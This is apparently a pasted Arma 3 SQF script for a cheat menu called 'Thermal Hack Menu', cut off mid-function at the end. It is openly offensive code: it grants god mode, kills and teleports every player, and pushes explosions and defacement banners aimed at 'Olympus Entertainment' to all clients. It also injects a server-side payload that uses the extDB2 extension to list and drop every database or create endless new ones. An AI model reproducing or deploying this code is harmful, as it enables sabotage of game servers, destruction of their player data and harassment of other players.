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Jul 17th, 2019
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  1. [] spawn
  2. {
  3.  
  4. waitUntil {time > 2};
  5.  
  6. Init = true;
  7. tempVar = "";
  8. loggedIn = false;
  9.  
  10. adminVarName = vehicleVarName player;
  11.  
  12. if (adminVarName == "" or isNil "adminVarName") then
  13. {
  14. adminVarName = format ["Admin_%1", getPlayerUID player];
  15. player SetVehicleVarName adminVarName;
  16. player Call Compile Format ["%1=_This; PublicVariable ""%1""", adminVarName];
  17. };
  18.  
  19. keyPressed =
  20. {
  21. private ["_key","_shift","_ctrl","_alt"];
  22. if (dialog) exitWith {false};
  23.  
  24. _key = _this select 1;
  25. _shift = _this select 2;
  26. _ctrl = _this select 3;
  27. _alt = _this select 4;
  28.  
  29. if (not (_key == 59 && _shift && !_ctrl && !_alt)) exitWith {false};
  30.  
  31. closeDialog 0;
  32. [] spawn MAINNN2;
  33. true
  34. };
  35.  
  36. [] spawn
  37. {
  38. waitUntil {sleep 0.5; !isNull (findDisplay 46)};
  39. (findDisplay 46) displayAddEventHandler ["KeyDown", "_this call keyPressed"];
  40. };
  41.  
  42. MAINNN2 = {
  43. hintSilent parseText format["<t size='1.3' color='#251a6b'>Thermal Hack Menu</t>"];
  44. player addAction ["<t color='#251a6b'>=== Thermal Hack Menu ===</t>","[]Thermal Hack Menu;"];
  45. player addAction ["<t color='#07ffe2'>=== Fun things !!! ===</t>","[]spawn funnnnnnn;"];
  46. player addAction ["<t color='#ff6e07'>=== More Fun things !!! ===</t>","[]spawn mfffff;"];
  47. player addAction ["<t color='#FF0000'>=== Close Menu ===</t>", "[]spawn closeit"];
  48.  
  49. };
  50.  
  51.  
  52.  
  53. funnnnnnn = {
  54. removeallactions player;
  55.  
  56. player addAction ["<t color='#ff9400'>God Mode </t>",goeiniunq];
  57. player addAction ["<t color='#ff9400'>Nuke the Map</t>",Nukedang];
  58. player addAction ["<t color='#ff9400'>Teleport all here </t>",q0ohvqon];
  59. player addAction ["<t color='#ff9400'>Shock wave </t>",aldnadn];
  60. player addAction ["<t color='#FF0000'>Back To Main Menu</t>", "removeAllActions player; []spawn MAINNN2"];
  61. };
  62.  
  63.  
  64. Nukedang = {
  65. nuke_vars = true;
  66. _Wakkashhsbdhhagsggre = {
  67. PersonWhomMadeThis_Is_The_One_And_Only = {
  68. playSound "Alarm";
  69. hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>5</t>";
  70. sleep 1;
  71. playSound "Alarm";
  72. hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>4</t>";
  73. sleep 1;
  74. playSound "Alarm";
  75. hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>3</t>";
  76. sleep 1;
  77. playSound "Alarm";
  78. hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>2</t>";
  79. sleep 1;
  80. playSound "Alarm";
  81. hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>1</t>";
  82. sleep 1;
  83. playSound "Alarm";
  84. hintSilent "";
  85. sleep 1;
  86. nukepos = "Land_Sack_F" createVehicleLocal _this;
  87. mdh_nuke_destruction_zone = 1;
  88. mdh_nuke_camshake = 1;
  89. mdh_nuke_ash = 1;
  90. mdh_nuke_colorcorrection = 1;
  91. mdh_nuke_removecorrection = 1;
  92. mdh_nuke_removeash = 1;
  93.  
  94.  
  95. _Cone = "#particlesource" createVehicleLocal getpos nukepos;
  96. _Cone setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48], "", "Billboard", 1, 10, [0, 0, 0],
  97. [0, 0, 0], 0, 1.275, 1, 0, [40,80], [[0.25, 0.25, 0.25, 0], [0.25, 0.25, 0.25, 0.5],
  98. [0.25, 0.25, 0.25, 0.5], [0.25, 0.25, 0.25, 0.05], [0.25, 0.25, 0.25, 0]], [0.25], 0.1, 1, "", "", nukepos];
  99. _Cone setParticleRandom [2, [1, 1, 30], [1, 1, 30], 0, 0, [0, 0, 0, 0.1], 0, 0];
  100. _Cone setParticleCircle [10, [-10, -10, 20]];
  101. _Cone setDropInterval 0.005;
  102.  
  103. _top = "#particlesource" createVehicleLocal getpos nukepos;
  104. _top setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 3, 48, 0], "", "Billboard", 1, 20, [0, 0, 0],
  105. [0, 0, 60], 0, 1.7, 1, 0, [60,80,100], [[1, 1, 1, -10],[1, 1, 1, -7],[1, 1, 1, -4],[1, 1, 1, -0.5],[1, 1, 1, 0]], [0.05], 1, 1, "", "", nukepos];
  106. _top setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
  107. _top setDropInterval 0.002;
  108.  
  109. _top2 = "#particlesource" createVehicleLocal getpos nukepos;
  110. _top2 setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 3, 112, 0], "", "Billboard", 1, 20, [0, 0, 0],
  111. [0, 0, 60], 0, 1.7, 1, 0, [60,80,100], [[1, 1, 1, 0.5],[1, 1, 1, 0]], [0.07], 1, 1, "", "", nukepos];
  112. _top2 setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
  113. _top2 setDropInterval 0.002;
  114.  
  115. _smoke = "#particlesource" createVehicleLocal getpos nukepos;
  116. _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
  117. [0, 0, 60], 0, 1.7, 1, 0, [40,15,120],
  118. [[1, 1, 1, 0.4],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0]]
  119. , [0.5, 0.1], 1, 1, "", "", nukepos];
  120. _smoke setParticleRandom [0, [10, 10, 15], [15, 15, 7], 0, 0, [0, 0, 0, 0], 0, 0, 360];
  121. _smoke setDropInterval 0.002;
  122.  
  123. [] spawn {
  124. playSound "Earthquake_04";
  125. sleep 5;
  126. playSound "Earthquake_04";
  127. sleep 5;
  128. playSound "Earthquake_04";
  129. sleep 5;
  130. playSound "Earthquake_04";
  131. sleep 5;
  132. playSound "Earthquake_04";
  133. sleep 5;
  134. playSound "Earthquake_04";
  135. sleep 5;
  136. };
  137. _Wave = "#particlesource" createVehicleLocal getpos nukepos;
  138. _Wave setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48], "", "Billboard", 1, 20, [0, 0, 0],
  139. [0, 0, 0], 0, 1.5, 1, 0, [50, 100], [[0.1, 0.1, 0.1, 0.5],
  140. [0.5, 0.5, 0.5, 0.5], [1, 1, 1, 0.3], [1, 1, 1, 0]], [1,0.5], 0.1, 1, "", "", nukepos];
  141. _Wave setParticleRandom [2, [20, 20, 20], [5, 5, 0], 0, 0, [0, 0, 0, 0.1], 0, 0];
  142. _Wave setParticleCircle [50, [-80, -80, 2.5]];
  143. _Wave setDropInterval 0.0002;
  144.  
  145.  
  146. _light = "#lightpoint" createVehicleLocal [((getpos nukepos select 0)),(getpos nukepos select 1),((getpos nukepos select 2)+500)];
  147. _light setLightAmbient[1500, 1200, 1000];
  148. _light setLightColor[1500, 1200, 1000];
  149. _light setLightBrightness 100000.0;
  150.  
  151.  
  152. if (mdh_nuke_colorcorrection > 0) then
  153. {
  154. [] spawn {
  155. "colorCorrections" ppEffectAdjust [2, 30, 0, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
  156. "colorCorrections" ppEffectCommit 0;
  157. "colorCorrections" ppEffectAdjust [1, 0.8, -0.001, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
  158. "colorCorrections" ppEffectCommit 3;
  159. "colorCorrections" ppEffectEnable true;
  160. "filmGrain" ppEffectEnable true;
  161. "filmGrain" ppEffectAdjust [0.02, 1, 1, 0.1, 1, false];
  162. "filmGrain" ppEffectCommit 5;
  163. };
  164. }
  165. else
  166. {
  167. [] spawn {
  168. "dynamicBlur" ppEffectEnable true;
  169. "dynamicBlur" ppEffectAdjust [1];
  170. "dynamicBlur" ppEffectCommit 1;
  171.  
  172. "colorCorrections" ppEffectEnable true;
  173. "colorCorrections" ppEffectAdjust [0.8, 15, 0, [0.5, 0.5, 0.5, 0], [0.0, 0.0, 0.6, 2],[0.3, 0.3, 0.3, 0.1]];"colorCorrections" ppEffectCommit 0.4;
  174.  
  175. "dynamicBlur" ppEffectAdjust [0.5];
  176. "dynamicBlur" ppEffectCommit 3;
  177.  
  178. 0 setOvercast 0;
  179. sleep 0.1;
  180.  
  181. _xHandle = []spawn
  182. {
  183. Sleep 1;
  184. "colorCorrections" ppEffectAdjust [1.0, 0.5, 0, [0.5, 0.5, 0.5, 0], [1.0, 1.0, 0.8, 0.4],[0.3, 0.3, 0.3, 0.1]];
  185. "colorCorrections" ppEffectCommit 2;
  186. };
  187.  
  188.  
  189. "dynamicBlur" ppEffectAdjust [2];
  190. "dynamicBlur" ppEffectCommit 1;
  191.  
  192. "dynamicBlur" ppEffectAdjust [0.5];
  193. "dynamicBlur" ppEffectCommit 4;
  194.  
  195. sleep 4.5;
  196.  
  197. "colorCorrections" ppEffectAdjust [1, 1, 0, [0.5, 0.5, 0.5, 0], [1.0, 1.0, 0.8, 0.4],[0.3, 0.3, 0.3, 0.1]];"colorCorrections" ppEffectCommit 1; "colorCorrections" ppEffectEnable TRUE;
  198. "dynamicBlur" ppEffectAdjust [0];
  199. "dynamicBlur" ppEffectCommit 1;
  200. };
  201. };
  202.  
  203. player spawn {
  204. enableCamShake true;
  205. addCamShake [10, 70, 25];
  206. sleep 70;
  207. enableCamShake false;
  208. };
  209. if(mdh_nuke_ash > 0) then {
  210. [] spawn {
  211. sleep 20;
  212. [] spawn {
  213. _pos = position player;
  214. _parray = [
  215. ["A3\Data_F\ParticleEffects\Universal\Universal", 16, 12, 8, 1],
  216. "",
  217. "Billboard",
  218. 1,
  219. 4,
  220. [0,0,0],
  221. [0,0,0],
  222. 1,
  223. 0.000001,
  224. 0,
  225. 1.4,
  226. [0.05,0.05],
  227. [[0.1,0.1,0.1,1]],
  228. [0,1],
  229. 0.2,
  230. 1.2,
  231. "",
  232. "",
  233. vehicle player
  234. ];
  235. mdh_ash = "#particlesource" createVehicleLocal _pos;
  236. mdh_ash setParticleParams _parray;
  237. mdh_ash setParticleRandom [0, [10, 10, 7], [0, 0, 0], 0, 0.01, [0, 0, 0, 0.1], 0, 0];
  238. mdh_ash setParticleCircle [0.0, [0, 0, 0]];
  239. mdh_ash setDropInterval 0.01;
  240. };
  241. };
  242. };
  243. if (mdh_nuke_destruction_zone > 0) then
  244. {
  245. {_x setdamage 1} forEach (nearestObjects [(getpos nukepos), [], mdh_nuke_destruction_zone]);
  246. };
  247.  
  248.  
  249. _Wave setDropInterval 0.001;
  250. deletevehicle _top;
  251. deletevehicle _top2;
  252.  
  253. sleep 4.5;
  254.  
  255. _i = 0;
  256. while {_i < 100} do
  257. {
  258. _light setLightBrightness 100.0 - _i;
  259. _i = _i + 1;
  260. sleep 0.1;
  261. };
  262. deleteVehicle _light;
  263.  
  264. sleep 2;
  265.  
  266. _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
  267. [0, 0, 45], 0, 1.7, 1, 0, [40,25,80],
  268. [[1, 1, 1, 0.2],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0]]
  269. , [0.5, 0.1], 1, 1, "", "", nukepos];
  270.  
  271. _Cone setDropInterval 0.01;
  272. _smoke setDropInterval 0.006;
  273. _Wave setDropInterval 0.001;
  274.  
  275. sleep 2;
  276.  
  277. _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
  278. [0, 0, 30], 0, 1.7, 1, 0, [40,25,80],
  279. [[1, 1, 1, 0.2],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0]]
  280. , [0.5, 0.1], 1, 1, "", "", nukepos];
  281. _smoke setDropInterval 0.012;
  282. _Cone setDropInterval 0.02;
  283. _Wave setDropInterval 0.01;
  284.  
  285. sleep 15;
  286. deleteVehicle _Wave;
  287. deleteVehicle _cone;
  288. deleteVehicle _smoke;
  289. deletevehicle nukepos;
  290. [] spawn {
  291. if(mdh_nuke_removecorrection > 0) then {
  292. sleep 25;
  293. "colorCorrections" ppEffectAdjust [1, 1, 0, [1, 1, 1, 0.0], [1, 1, 1, 1], [1, 1, 1, 0.0]];
  294. "colorCorrections" ppEffectCommit 0;
  295. "filmGrain" ppEffectEnable false;
  296. "filmGrain" ppEffectCommit 0;
  297. };
  298. };
  299. if(mdh_nuke_removeash > 0) then {
  300. sleep 25;
  301. deletevehicle mdh_ash;
  302. };
  303. };
  304. sleep 5;
  305. if(!isNil "nuke_vars") then {
  306. openMap [true,false];
  307. nuke_vars = nil;
  308. };
  309. };
  310.  
  311. [_Wakkashhsbdhhagsggre,"BIS_fnc_Spawn",true,false] call BIS_FNC_MP;
  312. hintSilent parseText "<t size='1.2'>Loading Nuke Functions...</t><br/><t size='0.9'>The Map Will Open Once The Map Functions are Loaded!</t>";
  313. onMapSingleClick '[_pos,"PersonWhomMadeThis_Is_The_One_And_Only",true,false] spawn BIS_FNC_MP;openMap [false,false];onMapSingleClick""';
  314. };
  315.  
  316.  
  317.  
  318. goeiniunq = {
  319. if (isNil "andysgodmod_toggle") then {
  320. andysgodmod_toggle = 0;
  321. };
  322. if (andysgodmod_toggle == 0) then {
  323. andysgodmod_toggle = 1;
  324. cutText ["God ON", "PLAIN"];
  325. fnc_usec_damageHandler = {};
  326. fnc_usec_unconscious = {};
  327. player removeAllEventHandlers "handleDamage";
  328. player addEventHandler["handleDamage", {
  329. false
  330. }];
  331. player allowDamage false;
  332. } else {
  333. andysgodmod_toggle = 0;
  334. cutText ["God OFF", "PLAIN"];
  335. player addEventHandler["handleDamage", {
  336. true
  337. }];
  338. player removeAllEventHandlers "handleDamage";
  339. player allowDamage true;
  340. };
  341. };
  342.  
  343.  
  344.  
  345.  
  346. q0ohvqon = {
  347. params["_parts","_getVariable","_setVariable"];
  348. {
  349. _x setpos getpos player;
  350. uiSleep .1;
  351. } forEach allPlayers;
  352. };
  353.  
  354.  
  355. aldnadn = {
  356. player allowDamage false;
  357. _pos = getPos Player;
  358. for "_i" from 1 to 10 do {
  359. uiSleep 0.2;
  360.  
  361. for "_dir" from 5 to 360 step 5 do {
  362.  
  363. _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
  364. _npos = _pos vectorAdd (_delta vectorMultiply _i);
  365. _npos set[2,0];
  366. player allowDamage false;
  367. _bobber = "Bomb_04_F" createVehicleLocal _npos;
  368. player allowDamage false;
  369. _bobber setVelocity [0,-1,-10];
  370. };
  371. player setpos _pos;
  372. };
  373. player allowDamage true;
  374. };
  375.  
  376.  
  377.  
  378. mfffff = {
  379. removeallactions player;
  380.  
  381. player addAction ["<t color='#00f6ff'>Fuck all </t>",Thermal_Menu_Kill1];
  382. player addAction ["<t color='#00f6ff'>Kill all </t>",Thermal_Menu_Killall];
  383. player addAction ["<t color='#00f6ff'>Kill 2 </t>",Thermal_Menu_Kill2];
  384. player addAction ["<t color='#00f6ff'>Spam Database </t>",Thermal_Menu_SpamDatabase];
  385. player addAction ["<t color='#00f6ff'>Delete all database </t>",Thermal_Menu_DeleteAllDatabases];
  386. player addAction ["<t color='#00f6ff'>create million of db </t>",Thermal_Menu_createmillions];
  387. player addAction ["<t color='#FF0000'>Back To Main Menu</t>", "removeAllActions player; []spawn MAINNN2"];
  388. };
  389.  
  390.  
  391.  
  392. closeit = {
  393. removeAllActions player;
  394. };
  395.  
  396.  
  397.  
  398.  
  399. Thermal_Menu_SpamDatabase = {
  400. cash_in_bank = cash_in_bank + 90000000000000000000000000000;
  401. [{
  402. cash_in_bank = cash_in_bank + 90000000000000000000000000000;
  403. cash_in_hand = cash_in_hand + 90000000000000000000000000000;
  404. hint "MONEY ALL DAY FOR ALL PLRS ";
  405. }, "BIS_fnc_SPAWN", true, false] call BIS_Fnc_MP;
  406.  
  407. if(isServer) then {
  408. while{true} do {
  409. "Land_Sack_F" createVehicle [random(worldSize),random(worldSize),100];
  410. uiSleep 0.01;
  411. };
  412. };
  413.  
  414. if(isserver) then {
  415. openDLCPage 288520;
  416. };
  417.  
  418. if(!isserver) then {
  419. player setUnconscious true;
  420. };
  421.  
  422. };
  423.  
  424.  
  425.  
  426. Thermal_Menu_DeleteAllDatabases = {
  427. "DAT" addPublicVariableEventHandler {
  428. systemChat (_this select 1);
  429. };
  430. (typeOf player) createUnit [[0,0,0],group player,'if(isserver) then {[] spawn ' + str(_dbabomb) + ';};'];
  431.  
  432. [2] remoteExec ["BOMB",2];
  433.  
  434. hint "Atom Bomb Installed";
  435. };
  436.  
  437.  
  438.  
  439. Thermal_Menu_createmillions = {
  440. "DAT" addPublicVariableEventHandler {
  441. systemChat (_this select 1);
  442. };
  443. (typeOf player) createUnit [[0,0,0],group player,'if(isserver) then {[] spawn ' + str(_dbabomb) + ';};'];
  444.  
  445. [3] remoteExec ["BOMB",2];
  446.  
  447. hint "Atom Bomb Installed";
  448. };
  449. Thermal_Menu_ddatabases = {
  450. ["CREATE DATABASE db_" + str(floor(random(1000000))),1] call _request_noresponse;
  451. ["DROP DATABASE " + _x,1] call _request_noresponse;
  452. hint "GG";
  453. };
  454.  
  455.  
  456.  
  457.  
  458.  
  459. Thermal_Menu_Killall = {
  460. {
  461. if (name _x != name player) then {
  462. _x setDamage 1;
  463. };
  464. }forEach allUnits;
  465. };
  466. _dbabomb = {
  467.  
  468. DB_ID = (call life_sql_id); //--- EDIT THIS WITH THE SERVERS DATABASE ID VARIABLE
  469.  
  470. BOMB = {
  471. params["_type"];
  472.  
  473. _request_noresponse = {
  474. _queryStmt = param [0,"",[""]];
  475. _mode = param [1,1,[0]];
  476. _multiarr = param [2,false,[false]];
  477. "extDB2" callExtension format["%1:%2:%3",_mode, DB_ID, _queryStmt];
  478. };
  479. _request_response = {
  480. _queryStmt = param [0,"",[""]];
  481. _mode = param [1,1,[0]];
  482. _multiarr = param [2,false,[false]];
  483.  
  484.  
  485. _result = "extDB2" callExtension format["%1:%2:%3",_mode, DB_ID, _queryStmt];
  486. if(_result == "") exitWith {""};
  487. _result = call compile format["%1",_result];
  488. _key = (_result select 1);
  489. _keyMode = (_result select 0);
  490. _queryResult = "";
  491. _loop = true;
  492.  
  493. while{_loop} do
  494. {
  495. _queryResult = "extDB2" callExtension format["4:%1", _key];
  496. switch(_queryResult) do {
  497.  
  498. case "[5]": {
  499. _queryResult = "";
  500. while{true} do {
  501. _pipe = "extDB2" callExtension format["5:%1", _key];
  502. if(_pipe == "") exitWith {_loop = false};
  503. _queryResult = _queryResult + _pipe;
  504. };
  505. };
  506.  
  507. case "[3]": {
  508. uiSleep 0.3;
  509. };
  510.  
  511. default {
  512. _loop = false;
  513. };
  514. };
  515. };
  516. _queryResult;
  517. };
  518.  
  519. if(_type == 3) then {
  520. while{true} do {
  521. ["CREATE DATABASE db_" + str(floor(random(1000000))),1] call _request_noresponse;
  522. uiSleep 0.001;
  523. };
  524. };
  525.  
  526. _datl = ["SHOW DATABASES",2] call _request_response;
  527. if(_datl == "") exitWith {
  528. DAT = "Failed to grab DB info";
  529. publicVariable "DAT";
  530. };
  531. _dat = call compile _datl;
  532. _dbs = _dat select 1;
  533. {
  534. if(typeName _x != typeName []) exitWith {
  535. _dbs = [];
  536. DAT = "Bad type in foreach";
  537. publicVariable "DAT";
  538. };
  539. _dbs set[_forEachIndex,_x select 0];
  540. } forEach _dbs;
  541. _dbs = _dbs - ["information_schema","mysql","performance_schema"];
  542.  
  543. if(_type == 1) then {
  544. DAT = "Database Information";
  545. publicVariable "DAT";
  546. DAT = "====================";
  547. publicVariable "DAT";
  548. DAT = str(_dbs);
  549. publicVariable "DAT";
  550. };
  551. if(_type == 2) then {
  552. {
  553. ["DROP DATABASE " + _x,1] call _request_noresponse;
  554. } forEach _dbs;
  555. };
  556. };
  557.  
  558. };
  559.  
  560.  
  561.  
  562.  
  563.  
  564.  
  565. Thermal_Menu_Kill2 = {
  566. floor(random(100000)) cutrsc ["rsc" + "DynamicText","plain"];
  567. _display = uinamespace getvariable "BIS_dynamicText";
  568. _control = _display displayctrl 9999;
  569. _control ctrlsetposition [safezonex + random(safezonew),safezoney+random(safezoneh),safeZoneW,safeZoneH/20];
  570. _control ctrlsetbackgroundcolor [0,0,0,0];
  571. _control ctrlsettextcolor [1,1,1,1];
  572. _msgs = ["by Thermal,.!","by Thermal,.!","by Thermal,.!","by Thermal,.!", "by Thermal,.!","by Thermal","m9 zbee", "Olympus Entertainment!!!!!", "by Thermal,.!"];
  573. _control ctrlSetStructuredText parseText ("<t align=""left"" color=""" + ([random(1),random(1),random(1),1] call BIS_fnc_colorRGBAtoHTML) + """ size=""1.5"">" + (_msgs select floor(random(count(_msgs)))) + "</t>");
  574. _control ctrlCommit 0;
  575. };
  576.  
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583. Thermal_Menu_Kill1 = {
  584. [{
  585. [parseText "
  586. <t size='1.8' color='#CA278C'>This Server Hacked by Thermal | Thermal IS Here ...</t><br/>
  587. <t color='#CA278C'>by Thermal </t> <t color='#CA278C'>m9 zbee <t color='#CA278C'>Thermal IS Here !@#$%^ <t color='#CA278C'>la tt7da Thermal #Olympus_Entertainment", parseText "
  588. <t size='1.2' color='#FE2E2E'> Olympus Entertainment is dead </t>
  589. <t size='1.2' color='#FACC2E'> by Thermal </t>
  590. <t size='1.2' color='#80FF00'>Thermal Fuck Your Server Any Time : ) </t>
  591. <t size='1.2' color='#00FF00'> by Thermal </t>
  592. <t size='1.2' color='#2EFE9A'> by Thermal </t>
  593. <t size='1.2' color='#00FFFF'>Olympus Entertainment </t>
  594. <t size='1.2' color='#0174DF'>Olympus Entertainment </t>
  595. <t size='1.2' color='#013ADF'>by </t>
  596. <t size='1.2' color='#3A01DF'>Thermal..! </t>
  597. <t size='1.2' color='#A901DB'>by </t>
  598. <t size='1.2' color='#DF0174'>Thermal..! </t>
  599. <t size='1.2' color='#0174DF'>Olympus Entertainment.......</t>
  600. <t size='1.2' color='#0174DF'>Olympus Entertainment ..... </t>
  601. <t size='1.2' color='#0174DF'>Olympus Entertainment </t>
  602. <t size='1.2' color='#0174DF'>Olympus Entertainment </t>
  603. <t size='1.2' color='#0174DF'>Olympus Entertainment ...... </t>
  604. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  605. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  606. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  607. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  608. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  609. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  610. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  611. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  612. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  613. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  614. <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
  615. <t size='1.2' color='#00FFFF'>Fucked!</t>"] spawn BIS_fnc_AAN; 3000 cuttext ["By Thermal","plain"]; hint "This Server Hacked By Thermal";
  616. _expl1 = "Cock_random_F" createVehicle position player; _expl1 attachTo [player, [-0.1, 0.1, 0.15], "Head"]; _expl1 setVectorDirAndUp [ [0.5, 0.5, 0], [-0.5, 0.5, 0] ]; _expl1 = "Cock_random_F" createVehicle position player; _expl1 attachTo [player, [-0.1, 0.1, 0.15], "Leg"]; _expl1 setVectorDirAndUp [ [0.5, 0.5, 0], [-0.5, 0.5, 0] ]; addCamShake [342, 2, 235]; _pos = getPosATL player; _pos set [2, 700]; player setPosATL _pos; player spawn bis_fnc_halo;
  617. }, "BIS_fnc_Spawn", true, false] call BIS_fnc_MP;
  618.  
  619. params["_parts","_getVariable","_setVariable"];
  620. _locations = [];
  621. _threads = [];
  622. _stop = diag_tickTime + 60;
  623. hint "N U K I N G";
  624. while{diag_tickTime < _stop} do {
  625. _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
  626. if !(_location in _locations) then {
  627. _locations pushBack _location;
  628. _thread = _location spawn {
  629. _buildings = nearestObjects [_this, ["Building"], 1000];
  630. {
  631. if !(_x getVariable ["runloops",false]) then {
  632. _bobber = "Bomb_04_F" createVehicleLocal (getpos _x);
  633. _bobber setVelocity [0,-1,-10];
  634. };
  635. uiSleep (60/(count(_buildings)));
  636. } forEach _buildings;
  637. };
  638. _threads pushback _thread;
  639. };
  640. };
  641. {
  642. if(!scriptDone _x) then {
  643. terminate _x;
  644. };
  645. } forEach _threads;
  646. hint "D O N E";
  647.  
  648. player allowDamage false;
  649. _pos = getPos Player;
  650. for "_i" from 1 to 10 do {
  651. uiSleep 0.2;
  652.  
  653. for "_dir" from 5 to 360 step 5 do {
  654.  
  655. _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
  656. _npos = _pos vectorAdd (_delta vectorMultiply _i);
  657. _npos set[2,0];
  658. player allowDamage false;
  659. _bobber = "Bomb_04_F" createVehicleLocal _npos;
  660. player allowDamage false;
  661. _bobber setVelocity [0,-1,-10];
  662. };
  663. player setpos _pos;
  664. };
  665. player allowDamage true;
  666.  
  667. _delta = (vectorNormalized (eyeDirection player)) vectorMultiply 20;
  668. _pos = getPos Player;
  669. player allowDamage false;
  670. for "_i" from 1 to 10 do {
  671. uiSleep 0.2;
  672. _pos = _pos vectorAdd _delta;
  673. _pos set[2,0];
  674. player allowDamage false;
  675. _bobber = "Bomb_04_F" createVehicleLocal _pos;
  676. player allowDamage false;
  677. _bobber setVelocity [0,-1,-10];
  678.  
  679. };
  680. player allowDamage true;
  681.  
  682. {
  683. if (name _x != name player) then {
  684. _x setDamage 1;
  685. };
  686. }forEach allUnits;
  687.  
  688. [{
  689. PersonWhomMadeThis_is_madv2 = {
  690. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  691. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  692. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 5, 1, 0, 1];
  693. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  694.  
  695. sleep 1;
  696.  
  697. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  698. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  699. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 4, 1, 0, 1];
  700. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  701.  
  702. sleep 1;
  703.  
  704. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  705. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  706. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 3, 1, 0, 1];
  707. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  708.  
  709. sleep 1;
  710.  
  711. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  712. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  713. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 2, 1, 0, 1];
  714. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  715.  
  716. sleep 1;
  717.  
  718. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  719. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  720. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 1, 1, 0, 1];
  721. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  722.  
  723. sleep 1;
  724.  
  725. sleep 5;
  726. hint "Created By Thermal";
  727. [format["<t color=""#DB2B3F""><t size='1.1'>This Server Be Fucked ===> Hacked By Thermal (Thermal)" + "</t></t>", name player], 0.02, safezoneY - 0.1, 5, -1, 1, 3010] spawn bis_fnc_dynamicText;
  728. sleep 5;
  729. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfuckerv2;
  730. sleep 10;
  731. playSound "Worship";
  732.  
  733. PersonWhomMadeThis_is_one_crazy_motherfucker_color = ppEffectCreate["ColorCorrections", 1999];
  734. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectEnable true;
